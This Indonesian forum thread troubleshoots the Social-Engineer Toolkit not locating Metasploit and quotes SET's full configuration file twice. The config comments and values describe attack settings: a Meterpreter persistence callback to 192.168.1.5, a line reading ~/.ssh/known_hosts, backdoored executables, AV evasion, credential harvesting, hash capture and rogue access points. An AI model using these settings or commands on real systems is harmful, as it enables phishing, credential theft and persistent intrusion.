[ivan_stg]

mau nanya nih om, sewaktu saya menggunakan "SET" terus ada bacaan "Sorry. Metasploit was not found. This feature does not work properly without Metasploit." kenapa ya om?

[Udalah$]

mau nanya nih om, sewaktu saya menggunakan "SET" terus ada bacaan "Sorry. Metasploit was not found. This feature does not work properly without Metasploit." kenapa ya om?

itu sepertinya metasploitnya tidak ada atau tidak terhubung dengan SET

coba ketik msfconsole di terminal, muncul ga? klu muncul berarti metasploit tidak terhubung dengan SET, klu ga muncul ya tinggal install

[ivan_stg]

mau nanya nih om, sewaktu saya menggunakan "SET" terus ada bacaan "Sorry. Metasploit was not found. This feature does not work properly without Metasploit." kenapa ya om?

itu sepertinya metasploitnya tidak ada atau tidak terhubung dengan SET

coba ketik msfconsole di terminal, muncul ga? klu muncul berarti metasploit tidak terhubung dengan SET, klu ga muncul ya tinggal install

muncul om...solusinya gmn dong kalo bgt?

---

[!] Metasploit path not found. These payloads will be disabled.
[!] Please configure in the config/set_config. Press {return} to continue


_______________________________
/ _____/\_ _____/\__ ___/
\_____ \ | __)_ | |
/ \ | \ | |
/_______ //_______ / |____|
\/ \/

[---] The Social-Engineer Toolkit (SET) [---]
[---] Created by: David Kennedy (ReL1K) [---]
[---] Development Team: JR DePre (pr1me) [---]
[---] Development Team: Joey Furr (j0fer) [---]
[---] Development Team: Thomas Werth [---]
[---] Version: 3.0 [---]
[---] Codename: '#WeThrowBaseballs' [---]
[---] Report bugs: [email protected] [---]
[---] Follow me on Twitter: dave_rel1k [---]
[---] Homepage: http://www.secmaniac.com [---]

Welcome to the Social-Engineer Toolkit (SET). Your one
stop shop for all of your social-engineering needs..

Join us on irc.freenode.net in channel #setoolkit

Help support the toolkit, rank it here:
http://sectools.org/tool/socialengineeri.../#comments

Select from the menu:

1) Social-Engineering Attacks
2) Fast-Track Penetration Testing
3) Third Party Modules
4) Update the Metasploit Framework
5) Update the Social-Engineer Toolkit
6) Help, Credits, and About

99) Exit the Social-Engineer Toolkit

set> 1
[!] Metasploit path not found. These payloads will be disabled.
[!] Please configure in the config/set_config. Press {return} to continue


01011001011011110111010100100000011100
10011001010110000101101100011011000111
10010010000001101000011000010111011001
10010100100000011101000110111100100000
01101101011101010110001101101000001000
00011101000110100101101101011001010010
00000110111101101110001000000111100101
10111101110101011100100010000001101000
01100001011011100110010001110011001000
00001110100010110100101001001000000101
01000110100001100001011011100110101101
11001100100000011001100110111101110010
00100000011101010111001101101001011011
10011001110010000001110100011010000110
01010010000001010011011011110110001101
10100101100001011011000010110101000101
01101110011001110110100101101110011001
01011001010111001000100000010101000110
11110110111101101100011010110110100101
11010000100000001010100110100001110101
011001110111001100101010

[---] The Social-Engineer Toolkit (SET) [---]
[---] Created by: David Kennedy (ReL1K) [---]
[---] Development Team: JR DePre (pr1me) [---]
[---] Development Team: Joey Furr (j0fer) [---]
[---] Development Team: Thomas Werth [---]
[---] Version: 3.0 [---]
[---] Codename: '#WeThrowBaseballs' [---]
[---] Report bugs: [email protected] [---]
[---] Follow me on Twitter: dave_rel1k [---]
[---] Homepage: http://www.secmaniac.com [---]

Welcome to the Social-Engineer Toolkit (SET). Your one
stop shop for all of your social-engineering needs..

Join us on irc.freenode.net in channel #setoolkit

Help support the toolkit, rank it here:
http://sectools.org/tool/socialengineeri.../#comments

Select from the menu:

1) Spear-Phishing Attack Vectors
2) Website Attack Vectors
3) Infectious Media Generator
4) Create a Payload and Listener
5) Mass Mailer Attack
6) Arduino-Based Attack Vector
7) SMS Spoofing Attack Vector
8) Wireless Access Point Attack Vector
9) QRCode Generator Attack Vector
10) Third Party Modules

99) Return back to the main menu.

set> 2
[!] Sorry. Metasploit was not found. This feature does not work properly without Metasploit.
Press {return} to go back to the main menu.

[ekawithoutyou]

cari dimana lokasi folder metasploitnya..
nanti baru edit di set_confignya

##################################################################################################
##################################################################################################
## ##
## The following config file will allow you to customize settings within ##
## the Social Engineer Toolkit. The lines that do not have comment code ##
## ("#") are the fields you want to toy with. They are pretty easy to ##
## understand. ##
## ##
## The Metasploit path is the default path for where Metasploit is located. ##
## Metasploit is required for SET to function properly. ##
## ##
## The ETTERCAP function specifies if you want to use ARP Cache poisoning in ##
## conjunction with the web attacks, note that ARP Cache poisoning is only ##
## for internal subnets only and does not work against people on the internet. ##
## ##
## The SENDMAIL option allows you to spoof source IP addresses utilizing an ##
## application called SendMail. Sendmail is NOT installed by default on BackTrack5. ##
## To spoof email addresses when performing the mass email attacks, you must ##
## install Sendmail manually using: apt-get install sendmail ##
## ##
## Note that ETTERCAP and SENDMAIL flags only accept ON or OFF switches. ##
## ##
## Note that the Metasploit_PATH cannot have a / after the folder name. ##
## ##
## There are additional options, read the comments for additional descriptions. ##
## ##
##################################################################################################
##################################################################################################
#
# DEFINE THE PATH TO METASPLOIT HERE, FOR EXAMPLE /pentest/exploits/framework3
METASPLOIT_PATH=/opt/metasploit-4.3.0/msf3 <-----
#
# THIS WILL TELL WHAT DATABASE TO USE WHEN USING THE METASPLOIT FUNCTIONALITY. DEFAULT IS POSTGRESQL
METASPLOIT_DATABASE=postgresql
#
# HOW MANY TIMES SET SHOULD ENCODE A PAYLOAD IF YOU ARE USING STANDARD METASPLOIT ENCODING OPTIONS
ENCOUNT=4
#
# IF THIS OPTION IS SET, THE METASPLOIT PAYLOADS WILL AUTOMATICALLY MIGRATE TO
# NOTEPAD ONCE THE APPLET IS EXECUTED. THIS IS BENEFICIAL IF THE VICTIM CLOSES
# THE BROWSER HOWEVER CAN INTRODUCE BUGGY RESULTS WHEN AUTO MIGRATING.
AUTO_MIGRATE=OFF
#
# CUSTOM EXE YOU WANT TO USE FOR METASPLOIT ENCODING, THIS USUALLY HAS BETTER AV
# DETECTION. CURRENTLY IT IS SET TO LEGIT.BINARY WHICH IS JUST CALC.EXE. AN EXAMPLE
# YOU COULD USE WOULD BE PUTTY.EXE SO THIS FIELD WOULD BE /pathtoexe/putty.exe
CUSTOM_EXE=legit.binary
#
# THIS IS FOR THE BACKDOORED EXECUTABLE IF YOU WANT TO KEEP THE EXECUTABLE TO STILL WORK. NORMALLY
# WHEN legit.binary IS USED, IT WILL RENDER THE APPLICATION USELESS. SPECIFYING THIS WILL KEEP THE
# APPLICATION WORKING
BACKDOOR_EXECUTION=ON
#
# HERE WE CAN RUN MULTIPLE METERPRETER SCRIPTS ONCE A SESSION IS ACTIVE. THIS
# MAY BE IMPORTANT IF WE ARE SLEEPING AND NEED TO RUN PERSISTENCE, TRY TO ELEVATE
# PERMISSIONS AND OTHER TASKS IN AN AUTOMATED FASHION. FIRST TURN THIS TRIGGER ON
# THEN CONFIGURE THE FLAGS. NOTE THAT YOU NEED TO SEPERATE THE COMMANDS BY A ;
METERPRETER_MULTI_SCRIPT=OFF
LINUX_METERPRETER_MULTI_SCRIPT=OFF
#
# WHAT COMMANDS DO YOU WANT TO RUN ONCE A METERPRETER SESSION HAS BEEN ESTABLISHED.
# BE SURE IF YOU WANT MULTIPLE COMMANDS TO SEPERATE WITH A ;. FOR EXAMPLE YOU COULD DO
# run getsystem;run hashdump;run persistence TO RUN THREE DIFFERENT COMMANDS
METERPRETER_MULTI_COMMANDS=run persistence -r 192.168.1.5 -p 21 -i 300 -X -A;getsystem
LINUX_METERPRETER_MULTI_COMMANDS=uname;id;cat ~/.ssh/known_hosts
#
# THIS IS THE PORT THAT IS USED FOR THE IFRAME INJECTION USING THE METASPLOIT BROWSER ATTACKS
# BY DEFAULT THIS PORT IS 8080 HOWEVER EGRESS FILTERING MAY BLOCK THIS. MAY WANT TO ADJUST TO
# SOMETHING LIKE 21 OR 53
METASPLOIT_IFRAME_PORT=8080
#
# DEFINE TO USE ETTERCAP OR NOT WHEN USING WEBSITE ATTACK ONLY SET TO ON AND OFF
ETTERCAP=OFF
#
# ETTERCAP HOME DIRECTORY (NEEDED FOR DNS_SPOOF)
ETTERCAP_PATH=/usr/share/ettercap
#
# SPECIFY WHAT INTERFACE YOU WANT ETTERCAP OR DSNIFF TO LISTEN ON, IF NOTHING WILL DEFAULT
# EXAMPLE: ETTERCAP_INTERFACE=wlan0
ETTERCAP_DSNIFF_INTERFACE=eth0
#
# DEFINE TO USE DSNIFF OR NOT WHEN USING WEBSITE ATTACK ONLY SET TO ON AND OFF
# IF DSNIFF IS SET TO ON, ETTERCAP WILL AUTOMATICALLY BE DISABLED.
DSNIFF=OFF
#
# AUTO DETECTION OF IP ADDRESS INTERFACE UTILIZING GOOGLE, SET THIS ON IF YOU WANT
# SET TO AUTODETECT YOUR INTERFACE
AUTO_DETECT=ON
#
# SENDMAIL ON OR OFF FOR SPOOFING EMAIL ADDRESSES
SENDMAIL=OFF
#
# EMAIL PROVIDER LIST SUPPORTS GMAIL, HOTMAIL, AND YAHOO. SIMPLY CHANGE THE IT TO THE PROVIDER YOU WANT TO
# USE.
EMAIL_PROVIDER=GMAIL
#
# SET TO ON IF YOU WANT TO USE EMAIL IN CONJUNCTION WITH WEB ATTACK
WEBATTACK_EMAIL=OFF
#
# MAN LEFT IN THE MIDDLE PORT, THIS WILL BE USED FOR THE WEB SERVER BIND PORT
MLITM_PORT=80
#
# USE APACHE INSTEAD OF STANDARD PYTHON WEB SERVERS, THIS WILL INCREASE SPEED OF
# THE ATTACK VECTOR
APACHE_SERVER=OFF
#
# PATH TO THE APACHE WEBROOT
APACHE_DIRECTORY=/var/www
#
# SPECIFY WHAT PORT TO RUN THE HTTP SERVER OFF OF THAT SERVES THE JAVA APPLET ATTACK
# OR METASPLOIT EXPLOIT. DEFAULT IS PORT 80. THIS ALSO GOES IF YOU ARE USING APACHE_SERVER EQUAL ON.
# YOU NEED TO SPECIFY WHAT PORT APACHE IS LISTENING ON IN ORDER FOR THIS TO WORK PROPERLY.
WEB_PORT=80
#
# CREATE SELF-SIGNED JAVA APPLETS AND SPOOF PUBLISHER NOTE THIS REQUIRES YOU TO
# INSTALL ---> JAVA 6 JDK, BT5 OR UBUNTU USERS: apt-get install openjdk-6-jdk
# IF THIS IS NOT INSTALLED IT WILL NOT WORK. CAN ALSO DO apt-get install sun-java6-jdk
SELF_SIGNED_APPLET=OFF
#
# THIS FLAG WILL SET THE JAVA ID FLAG WITHIN THE JAVA APPLET TO SOMETHING DIFFERENT.
# THIS COULD BE TO MAKE IT LOOK MORE BELIEVABLE OR FOR BETTER OBFUSCATION
JAVA_ID_PARAM=Secure Java Applet
#
# JAVA APPLET REPEATER OPTION WILL CONTINUE TO PROMPT THE USER WITH THE JAVA APPLET IF
# THE USER HITS CANCEL. THIS MEANS IT WILL BE NON STOP UNTIL RUN IS EXECUTED. THIS GIVES
# A BETTER SUCCESS RATE FOR THE JAVA APPLET ATTACK
JAVA_REPEATER=ON
#
# JAVA REPEATER TIMING WHICH IS THE DELAY IT TAKES BETWEEN THE USER HITTING CANCEL TO
# WHEN THE NEXT JAVA APPLET RUNS. BE CAREFUL SETTING TO LOW AS IT WILL SPAWM THEM OVER
# AND OVER EVEN IF THEY HIT RUN. 200 EQUALS 2 SECONDS.
JAVA_TIME=200
#
# TURN ON SSL CERTIFICATES FOR SET SECURE COMMUNICATIONS THROUGH WEB_ATTACK VECTOR
WEBATTACK_SSL=OFF
#
# PATH TO THE PEM FILE TO UTILIZE CERTIFICATES WITH THE WEB ATTACK VECTOR (REQUIRED)
# YOU CAN CREATE YOUR OWN UTILIZING SET, JUST TURN ON SELF_SIGNED_CERT
# IF YOUR USING THIS FLAG, ENSURE OPENSSL IS INSTALLED! TO TURN THIS ON TURN SELF_SIGNED_CERT
# TO THE ON POSITION.
#
SELF_SIGNED_CERT=OFF
#
# BELOW IS THE CLIENT/SERVER (PRIVATE) CERT, THIS MUST BE IN PEM FORMAT IN ORDER TO WORK
# SIMPLY PLACE THE PATH YOU WANT FOR EXAMPLE /root/ssl_client/server.pem
PEM_CLIENT=/root/newcert.pem
PEM_SERVER=/root/newreq.pem
#
# TWEAK THE WEB JACKING TIME USED FOR THE IFRAME REPLACE, SOMETIMES IT CAN BE A LITTLE SLOW
# AND HARDER TO CONVINCE THE VICTIM. 5000 = 5 seconds
WEBJACKING_TIME=2000
#
# COMMAND CENTER INTERFACE TO BIND TO BY DEFAULT IT IS LOCALHOST ONLY. IF YOU WANT TO ENABLE IT
# SO YOU CAN HIT THE COMMAND CENTER REMOTELY PUT THE INTERFACE TO 0.0.0.0 TO BIND TO ALL INTERFACES.
COMMAND_CENTER_INTERFACE=127.0.0.1
#
# PORT FOR THE COMMAND CENTER
COMMAND_CENTER_PORT=44444
#
# THIS WILL REMOVE THE SET INTERACTIVE SHELL FROM THE MENU SELECTION. THE SET PAYLOADS ARE LARGE IN NATURE
# AND THINGS LIKE THE PWNIEXPRESS NEED SMALLER SET BUILDS
SET_INTERACTIVE_SHELL=ON
#
# WHAT DO YOU WANT TO USE FOR YOUR DEFAULT TERMINAL WITHIN THE COMMAND CENTER. THE DEFAULT IS XTERM
# THE OPTIONS YOU HAVE ARE AS FOLLOW - GNOME, KONSOLE, XTERM, SOLO. IF YOU SELECT SOLO IT WILL PLACE
# ALL RESULTS IN THE SAME SHELL YOU USED TO OPEN THE SET-WEB INTERFACE. THIS IS USEFUL IF YOUR USING
# SOMETHING THAT ONLY HAS ONE CONSOLE, LETS SAY A IPHONE OR IPAD.
TERMINAL=SOLO
#
# DIGITAL SIGNATURE STEALING METHOD MUST HAVE THE PEFILE PYTHON MODULES LOADED
# FROM http://code.google.com/p/pefile/. BE SURE TO INSTALL THIS BEFORE TURNING
# THIS FLAG ON!!! THIS FLAG GIVES MUCH BETTER AV DETECTION
DIGITAL_SIGNATURE_STEAL=ON
#
# THESE TWO OPTIONS WILL TURN THE UPX PACKER TO ON AND AUTOMATICALLY ATTEMPT
# TO PACK THE EXECUTABLE WHICH MAY EVADE ANTI-VIRUS A LITTLE BETTER.
UPX_ENCODE=ON
UPX_PATH=/usr/bin/upx
#
# THIS FEATURE WILL TURN ON OR OFF THE AUTOMATIC REDIRECTION. BY DEFAULT FOR EXAMPLE IN MULTI-ATTACK
# THE SITE WILL REDIRECT ONCE ONE SUCCESSFUL ATTACK IS USED. SOME PEOPLE MAY WANT TO USE JAVA APPLET
# AND CREDENTIAL HARVESTER FOR EXAMPLE.
AUTO_REDIRECT=ON
#
# THIS WILL REDIRECT THE HARVESTER VICTIM TO THIS WEBSITE ONCE EXECUTED AND NOT TO THE ORIGINAL WEBSITE.
# FOR EXAMPLE IF YOU CLONE ABCOMPANY.COM AND BELOW IT SAYS BLAHBLAHCOMPANY.COM, IT WILL REDIRECT THERE INSTEAD.
# THIS IS USEFUL IF YOU WANT TO REDIRECT THE VICTIM TO AN ADDITIONAL SITE AFTER HARVESTER HAS TAKEN THE CREDENTIALS.
# SIMPLY TURN HARVESTER REDIRECT TO ON THEN ENTER HTTP://WEBSITEOFYOURCHOOSING.COM IN THE HARVESTER URL BELOW
# TO CHANGE.
HARVESTER_REDIRECT=OFF
#
HARVESTER_URL=http://thishasnotbeenset
#
# THIS FEATURE WILL AUTO EMBED A IMG SRC TAG TO A UNC PATH OF YOUR ATTACK MACHINE.
# USEFUL IF YOU WANT TO INTERCEPT THE HALF LM KEYS WITH RAINBOWTABLES. WHAT WILL HAPPEN
# IS AS SOON AS THE VICTIM CLICKS THE WEB-PAGE LINK, A UNC PATH WILL BE INITIATED
# AND THE METASPLOIT CAPTURE/SMB MODULE WILL INTERCEPT THE HASH VALUES.
UNC_EMBED=OFF
#
# THIS FEATURE WILL ATTEMPT TO TURN CREATE A ROGUE ACCESS POINT AND REDIRECT VICTIMS BACK TO THE
# SET WEB SERVER WHEN ASSOCIATED. AIRBASE-NG and DNSSPOOF.
ACCESS_POINT_SSID=linksys
AIRBASE_NG_PATH=/usr/local/sbin/airbase-ng
DNSSPOOF_PATH=/usr/local/sbin/dnsspoof
#
# THIS WILL CONFIGURE THE DEFAULT CHANNEL THAT THE WIRELESS ACCESS POINT ATTACK BROADCASTS ON THROUGH WIFI
# COMMUNICATIONS.
AP_CHANNEL=9
#
# THIS WILL ENABLE THE POWERSHELL SHELLCODE INJECTION TECHNIQUE WITH EACH JAVA APPLET. IT WILL BE USED AS
# A SECOND FORM IN CASE THE FIRST METHOD FAILS. PLEASE NOTE THAT THIS IS EXTREMELY EXPERIMENTAL AT THIS
# POINT. IT IS NOT 100 PERCENT WORKING YET.
POWERSHELL_INJECTION=ON
#
# THIS WILL DISPLAY THE OUTPUT OF THE POWERSHELL INJECTION ATTACK SO YOU CAN SEE WHAT IS BEING PLACED ON THE
# SYSTEM.
POWERSHELL_VERBOSE=OFF
#
# THIS WILL PROFILE THE VICTIM MACHINE AND CHECK FOR INSTALLED VERSIONS AND REPORT BACK ON THEM
# NOTE THIS IS CURRENTLY DISABLED. DEVELOPMENT IS UNDERWAY ON THIS FEATURE
WEB_PROFILER=OFF
#
# PORT NUMBERS FOR THE JAVA APPLET ATTACK LINUX/OSX ATTACKS, REVERSE PAYLOADS
OSX_REVERSE_PORT=8080
#
LINUX_REVERSE_PORT=8081
#
#
# USER AGENT STRING FOR WHEN USING ANYTHING THAT CLONES THE WEBSITE, THIS USER AGENT WILL BE USED
USER_AGENT_STRING=Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)
#
# THE WAY THE SET INTERACTIVE SHELL WORKS IS IT FIRST DEPLOYS A STAGER PAYLOAD THAT PULLS AN ADDITIONAL EXECUTABLE.
# THE DOWNLOADER IS CURRENTLY BEING PICKED UP BY A/V AND IS ACTUALLY SOMEWHAT HARD TO OBFSUCATE BECAUSE IT DOES
# SIMILAR CHARACTERISTICS OF A DOWNLOAD/EXEC. IF YOU TURN THIS FEATURE ON, SET WILL DOWNLOAD THE INTERACTIVE SHELL
# STRAIGHT WITHOUT USING THE STAGER. ONLY ISSUE WITH THIS IS THERE MAY BE A DELAY ON THE USER END HOWEVER STILL
# SHOULDN'T BE NOTICED
SET_SHELL_STAGER=OFF
#
# DISABLES AUTOMATIC LISTENER - TURN THIS OFF IF YOU DON'T WANT A METASPLOIT LISTENER IN THE BACKGROUND.
AUTOMATIC_LISTENER=ON
#
# THIS WILL DISABLE THE FUNCTIONALITY IF METASPLOIT IS NOT INSTALLED AND YOU JUST WANT TO USE SETOOLKIT OR RATTE FOR PAYLOADS
# OR THE OTHER ATTACK VECTORS.
METASPLOIT_MODE=ON
#
####################################################################################################

yang saya kasih tanda itu yg diedit dengan lokasi folder metasploit nya
untuk set_config bisa di cari menggunakan locate set_config :p

[ivan_stg]

cari dimana lokasi folder metasploitnya..
nanti baru edit di set_confignya

##################################################################################################
##################################################################################################
## ##
## The following config file will allow you to customize settings within ##
## the Social Engineer Toolkit. The lines that do not have comment code ##
## ("#") are the fields you want to toy with. They are pretty easy to ##
## understand. ##
## ##
## The Metasploit path is the default path for where Metasploit is located. ##
## Metasploit is required for SET to function properly. ##
## ##
## The ETTERCAP function specifies if you want to use ARP Cache poisoning in ##
## conjunction with the web attacks, note that ARP Cache poisoning is only ##
## for internal subnets only and does not work against people on the internet. ##
## ##
## The SENDMAIL option allows you to spoof source IP addresses utilizing an ##
## application called SendMail. Sendmail is NOT installed by default on BackTrack5. ##
## To spoof email addresses when performing the mass email attacks, you must ##
## install Sendmail manually using: apt-get install sendmail ##
## ##
## Note that ETTERCAP and SENDMAIL flags only accept ON or OFF switches. ##
## ##
## Note that the Metasploit_PATH cannot have a / after the folder name. ##
## ##
## There are additional options, read the comments for additional descriptions. ##
## ##
##################################################################################################
##################################################################################################
#
# DEFINE THE PATH TO METASPLOIT HERE, FOR EXAMPLE /pentest/exploits/framework3
METASPLOIT_PATH=/opt/metasploit-4.3.0/msf3 <-----
#
# THIS WILL TELL WHAT DATABASE TO USE WHEN USING THE METASPLOIT FUNCTIONALITY. DEFAULT IS POSTGRESQL
METASPLOIT_DATABASE=postgresql
#
# HOW MANY TIMES SET SHOULD ENCODE A PAYLOAD IF YOU ARE USING STANDARD METASPLOIT ENCODING OPTIONS
ENCOUNT=4
#
# IF THIS OPTION IS SET, THE METASPLOIT PAYLOADS WILL AUTOMATICALLY MIGRATE TO
# NOTEPAD ONCE THE APPLET IS EXECUTED. THIS IS BENEFICIAL IF THE VICTIM CLOSES
# THE BROWSER HOWEVER CAN INTRODUCE BUGGY RESULTS WHEN AUTO MIGRATING.
AUTO_MIGRATE=OFF
#
# CUSTOM EXE YOU WANT TO USE FOR METASPLOIT ENCODING, THIS USUALLY HAS BETTER AV
# DETECTION. CURRENTLY IT IS SET TO LEGIT.BINARY WHICH IS JUST CALC.EXE. AN EXAMPLE
# YOU COULD USE WOULD BE PUTTY.EXE SO THIS FIELD WOULD BE /pathtoexe/putty.exe
CUSTOM_EXE=legit.binary
#
# THIS IS FOR THE BACKDOORED EXECUTABLE IF YOU WANT TO KEEP THE EXECUTABLE TO STILL WORK. NORMALLY
# WHEN legit.binary IS USED, IT WILL RENDER THE APPLICATION USELESS. SPECIFYING THIS WILL KEEP THE
# APPLICATION WORKING
BACKDOOR_EXECUTION=ON
#
# HERE WE CAN RUN MULTIPLE METERPRETER SCRIPTS ONCE A SESSION IS ACTIVE. THIS
# MAY BE IMPORTANT IF WE ARE SLEEPING AND NEED TO RUN PERSISTENCE, TRY TO ELEVATE
# PERMISSIONS AND OTHER TASKS IN AN AUTOMATED FASHION. FIRST TURN THIS TRIGGER ON
# THEN CONFIGURE THE FLAGS. NOTE THAT YOU NEED TO SEPERATE THE COMMANDS BY A ;
METERPRETER_MULTI_SCRIPT=OFF
LINUX_METERPRETER_MULTI_SCRIPT=OFF
#
# WHAT COMMANDS DO YOU WANT TO RUN ONCE A METERPRETER SESSION HAS BEEN ESTABLISHED.
# BE SURE IF YOU WANT MULTIPLE COMMANDS TO SEPERATE WITH A ;. FOR EXAMPLE YOU COULD DO
# run getsystem;run hashdump;run persistence TO RUN THREE DIFFERENT COMMANDS
METERPRETER_MULTI_COMMANDS=run persistence -r 192.168.1.5 -p 21 -i 300 -X -A;getsystem
LINUX_METERPRETER_MULTI_COMMANDS=uname;id;cat ~/.ssh/known_hosts
#
# THIS IS THE PORT THAT IS USED FOR THE IFRAME INJECTION USING THE METASPLOIT BROWSER ATTACKS
# BY DEFAULT THIS PORT IS 8080 HOWEVER EGRESS FILTERING MAY BLOCK THIS. MAY WANT TO ADJUST TO
# SOMETHING LIKE 21 OR 53
METASPLOIT_IFRAME_PORT=8080
#
# DEFINE TO USE ETTERCAP OR NOT WHEN USING WEBSITE ATTACK ONLY SET TO ON AND OFF
ETTERCAP=OFF
#
# ETTERCAP HOME DIRECTORY (NEEDED FOR DNS_SPOOF)
ETTERCAP_PATH=/usr/share/ettercap
#
# SPECIFY WHAT INTERFACE YOU WANT ETTERCAP OR DSNIFF TO LISTEN ON, IF NOTHING WILL DEFAULT
# EXAMPLE: ETTERCAP_INTERFACE=wlan0
ETTERCAP_DSNIFF_INTERFACE=eth0
#
# DEFINE TO USE DSNIFF OR NOT WHEN USING WEBSITE ATTACK ONLY SET TO ON AND OFF
# IF DSNIFF IS SET TO ON, ETTERCAP WILL AUTOMATICALLY BE DISABLED.
DSNIFF=OFF
#
# AUTO DETECTION OF IP ADDRESS INTERFACE UTILIZING GOOGLE, SET THIS ON IF YOU WANT
# SET TO AUTODETECT YOUR INTERFACE
AUTO_DETECT=ON
#
# SENDMAIL ON OR OFF FOR SPOOFING EMAIL ADDRESSES
SENDMAIL=OFF
#
# EMAIL PROVIDER LIST SUPPORTS GMAIL, HOTMAIL, AND YAHOO. SIMPLY CHANGE THE IT TO THE PROVIDER YOU WANT TO
# USE.
EMAIL_PROVIDER=GMAIL
#
# SET TO ON IF YOU WANT TO USE EMAIL IN CONJUNCTION WITH WEB ATTACK
WEBATTACK_EMAIL=OFF
#
# MAN LEFT IN THE MIDDLE PORT, THIS WILL BE USED FOR THE WEB SERVER BIND PORT
MLITM_PORT=80
#
# USE APACHE INSTEAD OF STANDARD PYTHON WEB SERVERS, THIS WILL INCREASE SPEED OF
# THE ATTACK VECTOR
APACHE_SERVER=OFF
#
# PATH TO THE APACHE WEBROOT
APACHE_DIRECTORY=/var/www
#
# SPECIFY WHAT PORT TO RUN THE HTTP SERVER OFF OF THAT SERVES THE JAVA APPLET ATTACK
# OR METASPLOIT EXPLOIT. DEFAULT IS PORT 80. THIS ALSO GOES IF YOU ARE USING APACHE_SERVER EQUAL ON.
# YOU NEED TO SPECIFY WHAT PORT APACHE IS LISTENING ON IN ORDER FOR THIS TO WORK PROPERLY.
WEB_PORT=80
#
# CREATE SELF-SIGNED JAVA APPLETS AND SPOOF PUBLISHER NOTE THIS REQUIRES YOU TO
# INSTALL ---> JAVA 6 JDK, BT5 OR UBUNTU USERS: apt-get install openjdk-6-jdk
# IF THIS IS NOT INSTALLED IT WILL NOT WORK. CAN ALSO DO apt-get install sun-java6-jdk
SELF_SIGNED_APPLET=OFF
#
# THIS FLAG WILL SET THE JAVA ID FLAG WITHIN THE JAVA APPLET TO SOMETHING DIFFERENT.
# THIS COULD BE TO MAKE IT LOOK MORE BELIEVABLE OR FOR BETTER OBFUSCATION
JAVA_ID_PARAM=Secure Java Applet
#
# JAVA APPLET REPEATER OPTION WILL CONTINUE TO PROMPT THE USER WITH THE JAVA APPLET IF
# THE USER HITS CANCEL. THIS MEANS IT WILL BE NON STOP UNTIL RUN IS EXECUTED. THIS GIVES
# A BETTER SUCCESS RATE FOR THE JAVA APPLET ATTACK
JAVA_REPEATER=ON
#
# JAVA REPEATER TIMING WHICH IS THE DELAY IT TAKES BETWEEN THE USER HITTING CANCEL TO
# WHEN THE NEXT JAVA APPLET RUNS. BE CAREFUL SETTING TO LOW AS IT WILL SPAWM THEM OVER
# AND OVER EVEN IF THEY HIT RUN. 200 EQUALS 2 SECONDS.
JAVA_TIME=200
#
# TURN ON SSL CERTIFICATES FOR SET SECURE COMMUNICATIONS THROUGH WEB_ATTACK VECTOR
WEBATTACK_SSL=OFF
#
# PATH TO THE PEM FILE TO UTILIZE CERTIFICATES WITH THE WEB ATTACK VECTOR (REQUIRED)
# YOU CAN CREATE YOUR OWN UTILIZING SET, JUST TURN ON SELF_SIGNED_CERT
# IF YOUR USING THIS FLAG, ENSURE OPENSSL IS INSTALLED! TO TURN THIS ON TURN SELF_SIGNED_CERT
# TO THE ON POSITION.
#
SELF_SIGNED_CERT=OFF
#
# BELOW IS THE CLIENT/SERVER (PRIVATE) CERT, THIS MUST BE IN PEM FORMAT IN ORDER TO WORK
# SIMPLY PLACE THE PATH YOU WANT FOR EXAMPLE /root/ssl_client/server.pem
PEM_CLIENT=/root/newcert.pem
PEM_SERVER=/root/newreq.pem
#
# TWEAK THE WEB JACKING TIME USED FOR THE IFRAME REPLACE, SOMETIMES IT CAN BE A LITTLE SLOW
# AND HARDER TO CONVINCE THE VICTIM. 5000 = 5 seconds
WEBJACKING_TIME=2000
#
# COMMAND CENTER INTERFACE TO BIND TO BY DEFAULT IT IS LOCALHOST ONLY. IF YOU WANT TO ENABLE IT
# SO YOU CAN HIT THE COMMAND CENTER REMOTELY PUT THE INTERFACE TO 0.0.0.0 TO BIND TO ALL INTERFACES.
COMMAND_CENTER_INTERFACE=127.0.0.1
#
# PORT FOR THE COMMAND CENTER
COMMAND_CENTER_PORT=44444
#
# THIS WILL REMOVE THE SET INTERACTIVE SHELL FROM THE MENU SELECTION. THE SET PAYLOADS ARE LARGE IN NATURE
# AND THINGS LIKE THE PWNIEXPRESS NEED SMALLER SET BUILDS
SET_INTERACTIVE_SHELL=ON
#
# WHAT DO YOU WANT TO USE FOR YOUR DEFAULT TERMINAL WITHIN THE COMMAND CENTER. THE DEFAULT IS XTERM
# THE OPTIONS YOU HAVE ARE AS FOLLOW - GNOME, KONSOLE, XTERM, SOLO. IF YOU SELECT SOLO IT WILL PLACE
# ALL RESULTS IN THE SAME SHELL YOU USED TO OPEN THE SET-WEB INTERFACE. THIS IS USEFUL IF YOUR USING
# SOMETHING THAT ONLY HAS ONE CONSOLE, LETS SAY A IPHONE OR IPAD.
TERMINAL=SOLO
#
# DIGITAL SIGNATURE STEALING METHOD MUST HAVE THE PEFILE PYTHON MODULES LOADED
# FROM http://code.google.com/p/pefile/. BE SURE TO INSTALL THIS BEFORE TURNING
# THIS FLAG ON!!! THIS FLAG GIVES MUCH BETTER AV DETECTION
DIGITAL_SIGNATURE_STEAL=ON
#
# THESE TWO OPTIONS WILL TURN THE UPX PACKER TO ON AND AUTOMATICALLY ATTEMPT
# TO PACK THE EXECUTABLE WHICH MAY EVADE ANTI-VIRUS A LITTLE BETTER.
UPX_ENCODE=ON
UPX_PATH=/usr/bin/upx
#
# THIS FEATURE WILL TURN ON OR OFF THE AUTOMATIC REDIRECTION. BY DEFAULT FOR EXAMPLE IN MULTI-ATTACK
# THE SITE WILL REDIRECT ONCE ONE SUCCESSFUL ATTACK IS USED. SOME PEOPLE MAY WANT TO USE JAVA APPLET
# AND CREDENTIAL HARVESTER FOR EXAMPLE.
AUTO_REDIRECT=ON
#
# THIS WILL REDIRECT THE HARVESTER VICTIM TO THIS WEBSITE ONCE EXECUTED AND NOT TO THE ORIGINAL WEBSITE.
# FOR EXAMPLE IF YOU CLONE ABCOMPANY.COM AND BELOW IT SAYS BLAHBLAHCOMPANY.COM, IT WILL REDIRECT THERE INSTEAD.
# THIS IS USEFUL IF YOU WANT TO REDIRECT THE VICTIM TO AN ADDITIONAL SITE AFTER HARVESTER HAS TAKEN THE CREDENTIALS.
# SIMPLY TURN HARVESTER REDIRECT TO ON THEN ENTER HTTP://WEBSITEOFYOURCHOOSING.COM IN THE HARVESTER URL BELOW
# TO CHANGE.
HARVESTER_REDIRECT=OFF
#
HARVESTER_URL=http://thishasnotbeenset
#
